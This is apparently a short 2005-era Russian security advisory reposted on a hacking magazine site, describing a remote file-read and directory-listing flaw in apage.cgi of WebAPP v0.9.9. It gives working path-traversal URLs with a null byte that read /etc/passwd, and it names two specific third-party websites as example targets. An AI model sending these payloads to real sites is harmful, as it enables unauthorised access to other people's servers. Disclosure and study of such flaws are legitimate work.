Просмотр файлов и директорий в WebAPP Web Automated Perl Portal System

Рекомендуем почитать:

Xakep #300. Номер триста

• Содержание выпуска
• Подписка на «Хакер»-60%

Просмотр файлов и директорий в WebAPP Web Automated Perl Portal System v0.9.9.

Software / Application - WebAPP v0.9.9.
Problem-Type - удаленная
Vulnerability - возможность чтения файлов и просмотр каталогов.
Vendor - http://www.web-app.org
Risk / Severity - средний
Platforms - *.nix
Details / DESCRIPTION - Скрипт apage.cgi выполняет проверку на расширение открываемых файлов, но при вставке
"null-byte poison" отсекает расширение html, позволяя читать файлы и просматривать каталоги.

Exploit:

http://www.xxx.com/cgi-bin/mods/apage/apage.cgi?f= ../../../../../../../../../etc/passwd%00.html
http://www.xxx.com/mods/apage/apage.cgi?f= ../../../../../../../../../%00.html

Пример:

http://www.feeed.net/cgi-bin/mods/apage/apage.cgi?f= ../../../../../../../../../etc/passwd%00.html
http://www.fif.com.mx/fif/mods/apage/apage.cgi?f= ../../../../../../../../../etc/passwd%00.html

durito [durito@mail.ru] LwB Security Team
[lwb57.org]
Copyright 2002-2005 by LwB Security Team. All rights reserved.